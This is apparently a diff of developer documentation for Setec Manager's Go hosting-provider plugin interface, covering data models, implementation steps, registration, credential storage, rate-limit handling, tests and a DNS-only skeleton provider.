| `ID` | `string` | `id` | Provider-assigned identifier. May be synthesized (e.g., `name/type/priority`). Optional on create. |
|
|
||||||
| `Type` | `string` | `type` | Record type: `A`, `AAAA`, `CNAME`, `MX`, `TXT`, `NS`, `SRV`, `CAA`. |
|
|
||||||
| `Name` | `string` | `name` | Subdomain label or `@` for the zone apex. |
|
|
||||||
| `Content` | `string` | `content` | Record value (IP address, hostname, text, etc.). |
|
|
||||||
| `TTL` | `int` | `ttl` | Time-to-live in seconds. |
|
|
||||||
| `Priority` | `int` | `priority` | Priority value for MX and SRV records. Zero for other types. |
|
|
||||||
|
|
||||||
### Domain
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Name` | `string` | `name` | Fully qualified domain name. |
|
|
||||||
| `Registrar` | `string` | `registrar` | Registrar name (optional). |
|
|
||||||
| `Status` | `string` | `status` | Registration status (e.g., `"active"`, `"expired"`, `"pending"`). |
|
|
||||||
| `ExpiresAt` | `time.Time` | `expires_at` | Expiration date. |
|
|
||||||
| `AutoRenew` | `bool` | `auto_renew` | Whether automatic renewal is enabled. |
|
|
||||||
| `Locked` | `bool` | `locked` | Whether transfer lock is enabled. |
|
|
||||||
| `PrivacyProtection` | `bool` | `privacy_protection` | Whether WHOIS privacy is enabled. |
|
|
||||||
| `Nameservers` | `[]string` | `nameservers` | Current authoritative nameservers. |
|
|
||||||
|
|
||||||
### DomainAvailability
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Domain` | `string` | `domain` | The queried domain name. |
|
|
||||||
| `Available` | `bool` | `available` | Whether the domain is available for registration. |
|
|
||||||
| `Price` | `float64` | `price` | Purchase price (zero if unavailable). |
|
|
||||||
| `Currency` | `string` | `currency` | Currency code (e.g., `"USD"`). |
|
|
||||||
|
|
||||||
### DomainPurchaseRequest
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Domain` | `string` | `domain` | Domain to purchase. |
|
|
||||||
| `Period` | `int` | `period` | Registration period in years. |
|
|
||||||
| `AutoRenew` | `bool` | `auto_renew` | Enable auto-renewal. |
|
|
||||||
| `Privacy` | `bool` | `privacy_protection` | Enable WHOIS privacy. |
|
|
||||||
| `PaymentID` | `string` | `payment_method_id` | Payment method identifier (optional, provider-specific). |
|
|
||||||
|
|
||||||
### VM
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ID` | `string` | `id` | Provider-assigned VM identifier. |
|
|
||||||
| `Name` | `string` | `name` | Human-readable VM name / hostname. |
|
|
||||||
| `Status` | `string` | `status` | Current state: `"running"`, `"stopped"`, `"creating"`, `"error"`. |
|
|
||||||
| `Plan` | `string` | `plan` | Plan/tier identifier. |
|
|
||||||
| `Region` | `string` | `region` | Data center / region identifier. |
|
|
||||||
| `IPv4` | `string` | `ipv4` | Public IPv4 address (optional). |
|
|
||||||
| `IPv6` | `string` | `ipv6` | Public IPv6 address (optional). |
|
|
||||||
| `OS` | `string` | `os` | Operating system template name (optional). |
|
|
||||||
| `CPUs` | `int` | `cpus` | Number of virtual CPUs. |
|
|
||||||
| `MemoryMB` | `int` | `memory_mb` | RAM in megabytes. |
|
|
||||||
| `DiskGB` | `int` | `disk_gb` | Disk size in gigabytes. |
|
|
||||||
| `BandwidthGB` | `int` | `bandwidth_gb` | Monthly bandwidth allowance in gigabytes. |
|
|
||||||
| `CreatedAt` | `time.Time` | `created_at` | Creation timestamp. |
|
|
||||||
| `Labels` | `map[string]string` | `labels` | Arbitrary key-value labels (optional). |
|
|
||||||
|
|
||||||
### VMCreateRequest
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Plan` | `string` | `plan` | Plan/tier identifier from the catalog. |
|
|
||||||
| `DataCenterID` | `string` | `data_center_id` | Target data center from `ListDataCenters()`. |
|
|
||||||
| `Template` | `string` | `template` | OS template identifier. |
|
|
||||||
| `Password` | `string` | `password` | Root/admin password for the VM. |
|
|
||||||
| `Hostname` | `string` | `hostname` | Desired hostname. |
|
|
||||||
| `SSHKeyID` | `string` | `ssh_key_id` | SSH key to install (optional). |
|
|
||||||
| `PaymentID` | `string` | `payment_method_id` | Payment method identifier (optional). |
|
|
||||||
|
|
||||||
### DataCenter
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ID` | `string` | `id` | Unique identifier used in `VMCreateRequest`. |
|
|
||||||
| `Name` | `string` | `name` | Short name (e.g., `"US East"`). |
|
|
||||||
| `Location` | `string` | `location` | City or locality. |
|
|
||||||
| `Country` | `string` | `country` | ISO country code. |
|
|
||||||
|
|
||||||
### SSHKey
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ID` | `string` | `id` | Provider-assigned key identifier. |
|
|
||||||
| `Name` | `string` | `name` | User-assigned label. |
|
|
||||||
| `Fingerprint` | `string` | `fingerprint` | Key fingerprint (e.g., `"SHA256:..."`). |
|
|
||||||
| `PublicKey` | `string` | `public_key` | Full public key string. |
|
|
||||||
|
|
||||||
### Subscription
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ID` | `string` | `id` | Subscription identifier. |
|
|
||||||
| `Name` | `string` | `name` | Product name. |
|
|
||||||
| `Status` | `string` | `status` | Status: `"active"`, `"cancelled"`, `"expired"`. |
|
|
||||||
| `Plan` | `string` | `plan` | Plan identifier. |
|
|
||||||
| `Price` | `float64` | `price` | Recurring price. |
|
|
||||||
| `Currency` | `string` | `currency` | Currency code. |
|
|
||||||
| `RenewsAt` | `time.Time` | `renews_at` | Next renewal date. |
|
|
||||||
| `CreatedAt` | `time.Time` | `created_at` | Subscription start date. |
|
|
||||||
|
|
||||||
### CatalogItem
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `ID` | `string` | `id` | Product/plan identifier. |
|
|
||||||
| `Name` | `string` | `name` | Product name. |
|
|
||||||
| `Category` | `string` | `category` | Category: `"vps"`, `"hosting"`, `"domain"`, etc. |
|
|
||||||
| `PriceCents` | `int` | `price_cents` | Price in cents (e.g., 1199 = $11.99). |
|
|
||||||
| `Currency` | `string` | `currency` | Currency code. |
|
|
||||||
| `Period` | `string` | `period` | Billing period: `"monthly"`, `"yearly"`. |
|
|
||||||
| `Description` | `string` | `description` | Human-readable description (optional). |
|
|
||||||
|
|
||||||
### ProviderConfig
|
|
||||||
|
|
||||||
Stored in `internal/hosting/store.go`. This is the credential record persisted to disk.
|
|
||||||
|
|
||||||
| Field | Type | JSON | Description |
|
|
||||||
|---|---|---|---|
|
|
||||||
| `Provider` | `string` | `provider` | Provider name (must match `Provider.Name()`). |
|
|
||||||
| `APIKey` | `string` | `api_key` | Primary API key or bearer token. |
|
|
||||||
| `APISecret` | `string` | `api_secret` | Secondary secret (optional, provider-specific). |
|
|
||||||
| `Extra` | `map[string]string` | `extra` | Additional provider-specific config values. |
|
|
||||||
| `Connected` | `bool` | `connected` | Whether the last `TestConnection()` succeeded. |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Implementing the Interface
|
|
||||||
|
|
||||||
### Step 1: Create the Package
|
|
||||||
|
|
||||||
```bash
|
|
||||||
mkdir -p internal/hosting/myprovider
|
|
||||||
```
|
|
||||||
|
|
||||||
### Step 2: Implement the Provider
|
|
||||||
|
|
||||||
Create `internal/hosting/myprovider/provider.go`:
|
|
||||||
|
|
||||||
```go
|
|
||||||
package myprovider
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"net/http"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"setec-manager/internal/hosting"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ErrNotSupported is returned by methods this provider does not implement.
|
|
||||||
var ErrNotSupported = errors.New("myprovider: operation not supported")
|
|
||||||
|
|
||||||
// Provider implements hosting.Provider for the MyProvider service.
|
|
||||||
type Provider struct {
|
|
||||||
client *http.Client
|
|
||||||
apiKey string
|
|
||||||
baseURL string
|
|
||||||
}
|
|
||||||
|
|
||||||
// init registers this provider with the hosting registry.
|
|
||||||
// This runs automatically when the package is imported.
|
|
||||||
func init() {
|
|
||||||
hosting.Register(&Provider{
|
|
||||||
client: &http.Client{
|
|
||||||
Timeout: 30 * time.Second,
|
|
||||||
},
|
|
||||||
baseURL: "https://api.myprovider.com",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Identity ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) Name() string { return "myprovider" }
|
|
||||||
func (p *Provider) DisplayName() string { return "My Provider" }
|
|
||||||
|
|
||||||
// ── Configuration ───────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) Configure(config map[string]string) error {
|
|
||||||
key, ok := config["api_key"]
|
|
||||||
if !ok || key == "" {
|
|
||||||
return fmt.Errorf("myprovider: api_key is required")
|
|
||||||
}
|
|
||||||
p.apiKey = key
|
|
||||||
|
|
||||||
if baseURL, ok := config["base_url"]; ok && baseURL != "" {
|
|
||||||
p.baseURL = baseURL
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) TestConnection() error {
|
|
||||||
// Make a lightweight API call to verify credentials.
|
|
||||||
// For example, list domains or get account info.
|
|
||||||
_, err := p.ListDomains()
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── DNS ─────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) ListDNSRecords(domain string) ([]hosting.DNSRecord, error) {
|
|
||||||
// TODO: Implement API call to list DNS records
|
|
||||||
return nil, ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) CreateDNSRecord(domain string, record hosting.DNSRecord) error {
|
|
||||||
return ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) UpdateDNSRecords(domain string, records []hosting.DNSRecord, overwrite bool) error {
|
|
||||||
return ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) DeleteDNSRecord(domain string, recordName, recordType string) error {
|
|
||||||
return ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) ResetDNSRecords(domain string) error {
|
|
||||||
return ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Domains ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) ListDomains() ([]hosting.Domain, error) {
|
|
||||||
return nil, ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) GetDomain(domain string) (*hosting.Domain, error) {
|
|
||||||
return nil, ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) CheckDomainAvailability(domains []string) ([]hosting.DomainAvailability, error) {
|
|
||||||
return nil, ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) PurchaseDomain(req hosting.DomainPurchaseRequest) (*hosting.Domain, error) {
|
|
||||||
return nil, ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) SetNameservers(domain string, nameservers []string) error {
|
|
||||||
return ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) EnableDomainLock(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) DisableDomainLock(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) EnablePrivacyProtection(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) DisablePrivacyProtection(domain string) error { return ErrNotSupported }
|
|
||||||
|
|
||||||
// ── VMs / VPS ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) ListVMs() ([]hosting.VM, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) GetVM(id string) (*hosting.VM, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) CreateVM(req hosting.VMCreateRequest) (*hosting.VM, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) ListDataCenters() ([]hosting.DataCenter, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) ListSSHKeys() ([]hosting.SSHKey, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) AddSSHKey(name, publicKey string) (*hosting.SSHKey, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) DeleteSSHKey(id string) error { return ErrNotSupported }
|
|
||||||
|
|
||||||
// ── Billing ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) ListSubscriptions() ([]hosting.Subscription, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) GetCatalog() ([]hosting.CatalogItem, error) { return nil, ErrNotSupported }
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Registration
|
|
||||||
|
|
||||||
Registration happens automatically via Go's `init()` mechanism. When the main binary imports the provider package (even as a side-effect import), the `init()` function runs and calls `hosting.Register()`.
|
|
||||||
|
|
||||||
In `cmd/main.go` (or wherever the binary entry point is), add a blank import:
|
|
||||||
|
|
||||||
```go
|
|
||||||
import (
|
|
||||||
// Register hosting providers
|
|
||||||
_ "setec-manager/internal/hosting/hostinger"
|
|
||||||
_ "setec-manager/internal/hosting/myprovider"
|
|
||||||
)
|
|
||||||
```
|
|
||||||
|
|
||||||
The `hosting.Register()` function stores the provider instance in a global `map[string]Provider` protected by a `sync.RWMutex`:
|
|
||||||
|
|
||||||
```go
|
|
||||||
// From internal/hosting/provider.go
|
|
||||||
func Register(p Provider) {
|
|
||||||
registryMu.Lock()
|
|
||||||
defer registryMu.Unlock()
|
|
||||||
registry[p.Name()] = p
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
After registration, the provider is accessible via `hosting.Get("myprovider")` and appears in `hosting.List()`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Configuration Storage
|
|
||||||
|
|
||||||
When a user configures your provider (via the UI or API), the system:
|
|
||||||
|
|
||||||
1. Calls `provider.Configure(map[string]string{"api_key": "..."})` to set credentials in memory.
|
|
||||||
2. Calls `provider.TestConnection()` to verify the credentials work.
|
|
||||||
3. Saves a `ProviderConfig` to disk via `ProviderConfigStore.Save()`.
|
|
||||||
|
|
||||||
The config file is written to `<config_dir>/<provider_name>.json` with `0600` permissions:
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"provider": "myprovider",
|
|
||||||
"api_key": "sk-abc123...",
|
|
||||||
"api_secret": "",
|
|
||||||
"extra": {
|
|
||||||
"base_url": "https://api.myprovider.com/v2"
|
|
||||||
},
|
|
||||||
"connected": true
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
On startup, `ProviderConfigStore.loadAll()` reads all JSON files from the config directory, and for each one that matches a registered provider, calls `Configure()` to restore credentials.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Error Handling
|
|
||||||
|
|
||||||
### The ErrNotSupported Pattern
|
|
||||||
|
|
||||||
Define a sentinel error in your provider package:
|
|
||||||
|
|
||||||
```go
|
|
||||||
var ErrNotSupported = errors.New("myprovider: operation not supported")
|
|
||||||
```
|
|
||||||
|
|
||||||
Return this error from any interface method your provider does not implement. The HTTP handler layer checks for this error and returns HTTP 501 (Not Implemented) to the client.
|
|
||||||
|
|
||||||
### API Errors
|
|
||||||
|
|
||||||
For errors from the upstream provider API, return a descriptive error with context:
|
|
||||||
|
|
||||||
```go
|
|
||||||
return fmt.Errorf("myprovider: list domains: %w", err)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Rate Limiting
|
|
||||||
|
|
||||||
If the provider has rate limits, handle them inside your client. See the Hostinger implementation in `internal/hosting/hostinger/client.go` for a reference pattern:
|
|
||||||
|
|
||||||
1. Check for HTTP 429 responses.
|
|
||||||
2. Read the `Retry-After` header.
|
|
||||||
3. Sleep and retry (up to a maximum number of retries).
|
|
||||||
4. Return a clear error if retries are exhausted.
|
|
||||||
|
|
||||||
```go
|
|
||||||
if resp.StatusCode == http.StatusTooManyRequests {
|
|
||||||
retryAfter := parseRetryAfter(resp.Header.Get("Retry-After"))
|
|
||||||
if attempt < maxRetries {
|
|
||||||
time.Sleep(retryAfter)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
return fmt.Errorf("myprovider: rate limited after %d retries", maxRetries)
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Testing
|
|
||||||
|
|
||||||
### Unit Tests
|
|
||||||
|
|
||||||
Create `internal/hosting/myprovider/provider_test.go`:
|
|
||||||
|
|
||||||
```go
|
|
||||||
package myprovider
|
|
||||||
|
|
||||||
import (
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"setec-manager/internal/hosting"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestProviderImplementsInterface(t *testing.T) {
|
|
||||||
var _ hosting.Provider = (*Provider)(nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestName(t *testing.T) {
|
|
||||||
p := &Provider{}
|
|
||||||
if p.Name() != "myprovider" {
|
|
||||||
t.Errorf("expected name 'myprovider', got %q", p.Name())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestConfigure(t *testing.T) {
|
|
||||||
p := &Provider{}
|
|
||||||
err := p.Configure(map[string]string{})
|
|
||||||
if err == nil {
|
|
||||||
t.Error("expected error when api_key is missing")
|
|
||||||
}
|
|
||||||
|
|
||||||
err = p.Configure(map[string]string{"api_key": "test-key"})
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("unexpected error: %v", err)
|
|
||||||
}
|
|
||||||
if p.apiKey != "test-key" {
|
|
||||||
t.Errorf("expected apiKey 'test-key', got %q", p.apiKey)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestUnsupportedMethodsReturnError(t *testing.T) {
|
|
||||||
p := &Provider{}
|
|
||||||
|
|
||||||
_, err := p.ListVMs()
|
|
||||||
if err != ErrNotSupported {
|
|
||||||
t.Errorf("ListVMs: expected ErrNotSupported, got %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
_, err = p.GetCatalog()
|
|
||||||
if err != ErrNotSupported {
|
|
||||||
t.Errorf("GetCatalog: expected ErrNotSupported, got %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Integration Tests
|
|
||||||
|
|
||||||
For integration tests against the real API, use build tags to prevent them from running in CI:
|
|
||||||
|
|
||||||
```go
|
|
||||||
//go:build integration
|
|
||||||
|
|
||||||
package myprovider
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestListDomainsIntegration(t *testing.T) {
|
|
||||||
key := os.Getenv("MYPROVIDER_API_KEY")
|
|
||||||
if key == "" {
|
|
||||||
t.Skip("MYPROVIDER_API_KEY not set")
|
|
||||||
}
|
|
||||||
|
|
||||||
p := &Provider{}
|
|
||||||
p.Configure(map[string]string{"api_key": key})
|
|
||||||
|
|
||||||
domains, err := p.ListDomains()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("ListDomains failed: %v", err)
|
|
||||||
}
|
|
||||||
t.Logf("Found %d domains", len(domains))
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Run integration tests:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
go test -tags=integration ./internal/hosting/myprovider/ -v
|
|
||||||
```
|
|
||||||
|
|
||||||
### Registration Test
|
|
||||||
|
|
||||||
Verify that importing the package registers the provider:
|
|
||||||
|
|
||||||
```go
|
|
||||||
package myprovider_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"setec-manager/internal/hosting"
|
|
||||||
_ "setec-manager/internal/hosting/myprovider"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestRegistration(t *testing.T) {
|
|
||||||
p, err := hosting.Get("myprovider")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("provider not registered: %v", err)
|
|
||||||
}
|
|
||||||
if p.DisplayName() == "" {
|
|
||||||
t.Error("DisplayName is empty")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Example: Skeleton Provider (DNS Only)
|
|
||||||
|
|
||||||
This is a complete, minimal provider that implements only DNS management. All other methods return `ErrNotSupported`. You can copy this file and fill in the DNS methods with real API calls.
|
|
||||||
|
|
||||||
```go
|
|
||||||
package dnsonlyprovider
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"net/http"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"setec-manager/internal/hosting"
|
|
||||||
)
|
|
||||||
|
|
||||||
var ErrNotSupported = errors.New("dnsonlyprovider: operation not supported")
|
|
||||||
|
|
||||||
type Provider struct {
|
|
||||||
client *http.Client
|
|
||||||
apiKey string
|
|
||||||
baseURL string
|
|
||||||
}
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
hosting.Register(&Provider{
|
|
||||||
client: &http.Client{Timeout: 30 * time.Second},
|
|
||||||
baseURL: "https://api.dns-only.example.com/v1",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) Name() string { return "dnsonlyprovider" }
|
|
||||||
func (p *Provider) DisplayName() string { return "DNS-Only Provider" }
|
|
||||||
|
|
||||||
func (p *Provider) Configure(config map[string]string) error {
|
|
||||||
key, ok := config["api_key"]
|
|
||||||
if !ok || key == "" {
|
|
||||||
return fmt.Errorf("dnsonlyprovider: api_key is required")
|
|
||||||
}
|
|
||||||
p.apiKey = key
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) TestConnection() error {
|
|
||||||
// Try listing zones as a health check.
|
|
||||||
req, _ := http.NewRequest("GET", p.baseURL+"/zones", nil)
|
|
||||||
req.Header.Set("Authorization", "Bearer "+p.apiKey)
|
|
||||||
resp, err := p.client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("dnsonlyprovider: connection failed: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
body, _ := io.ReadAll(resp.Body)
|
|
||||||
return fmt.Errorf("dnsonlyprovider: API returned %d: %s", resp.StatusCode, body)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── DNS (implemented) ───────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) ListDNSRecords(domain string) ([]hosting.DNSRecord, error) {
|
|
||||||
req, _ := http.NewRequest("GET", fmt.Sprintf("%s/zones/%s/records", p.baseURL, domain), nil)
|
|
||||||
req.Header.Set("Authorization", "Bearer "+p.apiKey)
|
|
||||||
|
|
||||||
resp, err := p.client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("dnsonlyprovider: list records: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
var records []hosting.DNSRecord
|
|
||||||
if err := json.NewDecoder(resp.Body).Decode(&records); err != nil {
|
|
||||||
return nil, fmt.Errorf("dnsonlyprovider: parse records: %w", err)
|
|
||||||
}
|
|
||||||
return records, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) CreateDNSRecord(domain string, record hosting.DNSRecord) error {
|
|
||||||
// Implementation: POST to /zones/{domain}/records
|
|
||||||
return ErrNotSupported // replace with real implementation
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) UpdateDNSRecords(domain string, records []hosting.DNSRecord, overwrite bool) error {
|
|
||||||
// Implementation: PUT to /zones/{domain}/records
|
|
||||||
return ErrNotSupported // replace with real implementation
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) DeleteDNSRecord(domain string, recordName, recordType string) error {
|
|
||||||
// Implementation: DELETE /zones/{domain}/records?name=...&type=...
|
|
||||||
return ErrNotSupported // replace with real implementation
|
|
||||||
}
|
|
||||||
|
|
||||||
func (p *Provider) ResetDNSRecords(domain string) error {
|
|
||||||
return ErrNotSupported
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Everything else: not supported ──────────────────────────────────
|
|
||||||
|
|
||||||
func (p *Provider) ListDomains() ([]hosting.Domain, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) GetDomain(domain string) (*hosting.Domain, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) CheckDomainAvailability(domains []string) ([]hosting.DomainAvailability, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) PurchaseDomain(req hosting.DomainPurchaseRequest) (*hosting.Domain, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) SetNameservers(domain string, nameservers []string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) EnableDomainLock(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) DisableDomainLock(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) EnablePrivacyProtection(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) DisablePrivacyProtection(domain string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) ListVMs() ([]hosting.VM, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) GetVM(id string) (*hosting.VM, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) CreateVM(req hosting.VMCreateRequest) (*hosting.VM, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) ListDataCenters() ([]hosting.DataCenter, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) ListSSHKeys() ([]hosting.SSHKey, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) AddSSHKey(name, publicKey string) (*hosting.SSHKey, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) DeleteSSHKey(id string) error { return ErrNotSupported }
|
|
||||||
func (p *Provider) ListSubscriptions() ([]hosting.Subscription, error) { return nil, ErrNotSupported }
|
|
||||||
func (p *Provider) GetCatalog() ([]hosting.CatalogItem, error) { return nil, ErrNotSupported }
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Example: Full Provider Structure
|
|
||||||
|
|
||||||
For a provider that implements all capabilities, organize the code across multiple files:
|
|
||||||
|
|
||||||
```
|
|
||||||
internal/hosting/fullprovider/
|
|
||||||
provider.go -- init(), Name(), DisplayName(), Configure(), TestConnection()
|
|
||||||
client.go -- HTTP client with auth, retry, rate-limit handling
|
|
||||||
dns.go -- ListDNSRecords, CreateDNSRecord, UpdateDNSRecords, DeleteDNSRecord, ResetDNSRecords
|
|
||||||
domains.go -- ListDomains, GetDomain, CheckDomainAvailability, PurchaseDomain, nameserver/lock/privacy methods
|
|
||||||
vms.go -- ListVMs, GetVM, CreateVM, ListDataCenters
|
|
||||||
ssh.go -- ListSSHKeys, AddSSHKey, DeleteSSHKey
|
|
||||||
billing.go -- ListSubscriptions, GetCatalog
|
|
||||||
types.go -- Provider-specific API request/response types
|
|
||||||
```
|
|
||||||
|
|
||||||
Each file focuses on a single capability area. The `client.go` file provides a shared `doRequest()` method (similar to the Hostinger client) that handles authentication headers, JSON marshaling, error parsing, and retry logic.
|
|
||||||
|
|
||||||
### Key Patterns from the Hostinger Implementation
|
|
||||||
|
|
||||||
1. **Separate API types from generic types.** Define provider-specific request/response structs (e.g., `hostingerDNSRecord`) and conversion functions (`toGenericDNSRecord`, `toHostingerDNSRecord`).
|
|
||||||
|
|
||||||
2. **Validate before mutating.** The Hostinger DNS implementation calls a `/validate` endpoint before applying updates. If your provider offers similar validation, use it.
|
|
||||||
|
|
||||||
3. **Synthesize IDs when the API does not provide them.** Hostinger does not return record IDs in zone listings, so the client synthesizes them from `name/type/priority`.
|
|
||||||
|
|
||||||
4. **Handle rate limits transparently.** The client retries on HTTP 429 with exponential back-off, capping at 60 seconds per retry and 3 retries total. This keeps rate-limit handling invisible to the caller.
|
|
||||||
@ -1,859 +0,0 @@
|
|||||||
# Hosting Provider Integration System
|
|
||||||
|
|
||||||
## Overview
|
|
||||||
|
|
||||||
Setec Manager includes a pluggable hosting provider architecture that lets you manage DNS records, domains, VPS instances, SSH keys, and billing subscriptions through a unified interface. The system is built around a Go `Provider` interface defined in `internal/hosting/provider.go`. Each hosting provider (e.g., Hostinger) implements this interface and auto-registers itself at import time via an `init()` function.
|
|
||||||
|
|
||||||
### Architecture
|
|
||||||
|
|
||||||
```
|
|
||||||
internal/hosting/
|
|
||||||
provider.go -- Provider interface, model types, global registry
|
|
||||||
store.go -- ProviderConfig type, ProviderConfigStore (disk persistence)
|
|
||||||
config.go -- Legacy config store (being superseded by store.go)
|
|
||||||
hostinger/
|
|
||||||
client.go -- Hostinger HTTP client with retry/rate-limit handling
|
|
||||||
dns.go -- Hostinger DNS implementation
|
|
||||||
```
|
|
||||||
|
|
||||||
The registry is a process-global `map[string]Provider` guarded by a `sync.RWMutex`. Providers call `hosting.Register(&Provider{})` inside their package `init()` function. The main binary imports the provider package (e.g., `_ "setec-manager/internal/hosting/hostinger"`) to trigger registration.
|
|
||||||
|
|
||||||
